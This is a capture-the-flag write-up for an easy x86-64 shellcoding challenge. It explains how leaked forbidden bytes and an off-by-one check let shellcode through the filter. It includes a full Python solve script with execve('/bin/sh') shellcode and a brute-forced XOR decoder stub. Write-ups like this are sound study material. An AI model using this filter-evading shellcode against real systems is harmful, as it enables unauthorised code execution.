characteristic
characteristic
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: badchar_avoidance, execve_bin_sh_shellcode, mmap_rwx_execution, printf_leak_parsing, xor_decoder_brute_force_key
Summary
Task: x86-64 PIE/NX/canary binary mmaps a RWX page, reads shellcode, and rejects it if any byte equals one of several random forbidden bytes. Solution: the forbidden bytes are leaked via printf at startup, so parse them and send an execve(/bin/sh) shellcode containing none of them; an XOR-decoder with a brute-forced key is the robust fallback when the base shellcode collides.
characteristic — pwn_spbctf
Description
Are you able to bypass the check? Run the shellcode.
nc 109.233.56.90 11664Pwn / pwn4 "shellcoding" — author Ilya Shilov (@shtrikh17)
A shellcoding challenge. The remote service generates a handful of random "forbidden" bytes, then lets you send raw shellcode into an executable page — but it rejects your input if it contains any forbidden byte. Goal: bypass the filter and get code execution to read the flag.
Analysis
The binary characteristic is a 64-bit PIE ELF with NX, a stack canary and
Full RELRO. The interesting logic in main (@0x89a):
srand(time(0)), then a loopi = 0..4callsrand()and reduces each to a byte (rand % 256), producing 5 random "forbidden" bytes stored at[rbp-0xd] … [rbp-0x9].- At
0x93cit prints them:printf("Bad chars: %02x %02x %02x %02x\n", b[-0xa], b[-0xb], b[-0xc], b[-0xd]). This leaks 4 of the 5 forbidden bytes. The 5th byte ([rbp-0x9]) is generated but never printed — and, crucially, never checked either. mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC=7, MAP_PRIVATE|MAP_ANON=0x22, -1, 0)→ an RWX page.puts(prompt), thenread(0, page, 0x1000)→count.- Trailing
0x0a(newline) bytes are stripped:while (last == '\n') count--. - For each of the first
countshellcode bytes: if it equals any of the 4 forbidden bytes, it prints a message andexit(-1). - Otherwise it
calls the page → your shellcode runs.
Two key weaknesses
- The filter values are disclosed. Because the forbidden bytes are printed
via
printf,srand(time(0))is irrelevant — we never need to predict the RNG. We simply read the leak and craft shellcode that avoids those exact bytes. - Off-by-one in the check: 5 forbidden bytes are generated, but the loop only validates against 4 of them (the 5th is generated and never compared), so the effective banned set is at most 4 of 256 values — trivial to avoid.
Solution
- Connect and parse the leak line
Bad chars: xx xx xx xxinto a set of 4 forbidden bytes. In the captured run the forbidden bytes were49 5c 6a a8. - Build a standard null-free, newline-free
execve("/bin/sh", 0, 0)shellcode (28 bytes, using theneg rbxtrick to embed"/bin/sh\0"without literal NUL bytes). - If the base shellcode happens to contain none of the 4 forbidden bytes,
send it directly. In this run
{49,5c,6a,a8}did not collide, so the raw shellcode ran immediately → shell.cat /flagreturned the flag (nogetflaghelper was needed on this host). - Robust fallback (always works): if the base shellcode collides with a
forbidden byte, encode it with a single-byte XOR key and prepend a small
call/popdecoder stub. Brute-force the key over0..255so that neither the encoded payload nor the decoder stub contains any forbidden byte. With only 4 of 256 values banned there is plenty of freedom, so a valid key is found almost immediately. Anassert all(b not in bad for b in payload)guarantees correctness before sending.
Implementation note (reusable)
The solve host was arm64 macOS, where pwntools asm() fails to assemble
x86-64. Assemble the shellcode with keystone instead:
Ks(KS_ARCH_X86, KS_MODE_64).
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re, sys, time from keystone import Ks, KS_ARCH_X86, KS_MODE_64 HOST, PORT = '109.233.56.90', 11664 _ks = Ks(KS_ARCH_X86, KS_MODE_64) def asm(src): enc, _ = _ks.asm(src) return bytes(enc) # Null-free, newline-free execve("/bin/sh", 0, 0) base_sc = asm(''' xor rax, rax mov rbx, 0xff978cd091969dd1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall ''') def build_decoder_payload(bad): """XOR-encode base_sc; brute-force a key so the encoded payload AND the decoder stub avoid every forbidden byte.""" n = len(base_sc) for key in range(1, 256): if key in bad: continue enc = bytes(b ^ key for b in base_sc) if any(b in bad for b in enc): continue decoder = asm(f''' jmp get_addr decode: pop rsi xor rcx, rcx mov cl, {n} loop_xor: xor byte ptr [rsi + rcx - 1], {key} loop loop_xor jmp rsi get_addr: call decode ''') full = decoder + enc if any(b in bad for b in full) or b'\n' in full: continue return full, key return None, None def run(): io = remote(HOST, PORT, timeout=30) line = io.recvline(timeout=10) # "Bad chars: xx xx xx xx" m = re.search(rb'Bad chars:\s*([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})', line) bad = set(int(x, 16) for x in m.groups()) log.success("Forbidden bytes: %s", " ".join("%02x" % b for b in sorted(bad))) if any(b in bad for b in base_sc) or b'\n' in base_sc: payload, key = build_decoder_payload(bad) log.info("Using XOR decoder, key=0x%02x, len=%d", key, len(payload)) else: payload = base_sc log.info("Base shellcode clean, len=%d", len(payload)) assert all(b not in bad for b in payload), "payload contains forbidden byte!" assert b'\n' not in payload, "payload contains newline!" io.recvuntil(b'dud3zz?', timeout=5) io.send(payload) time.sleep(1) io.sendline(b'id; cat /flag; cat /flag.txt; ls -la /') time.sleep(2) print(io.recvall(timeout=5).decode(errors='replace')) if __name__ == '__main__': run()
Running it: the leak gives 49 5c 6a a8, the base shellcode is clean, it runs,
and cat /flag prints the flag.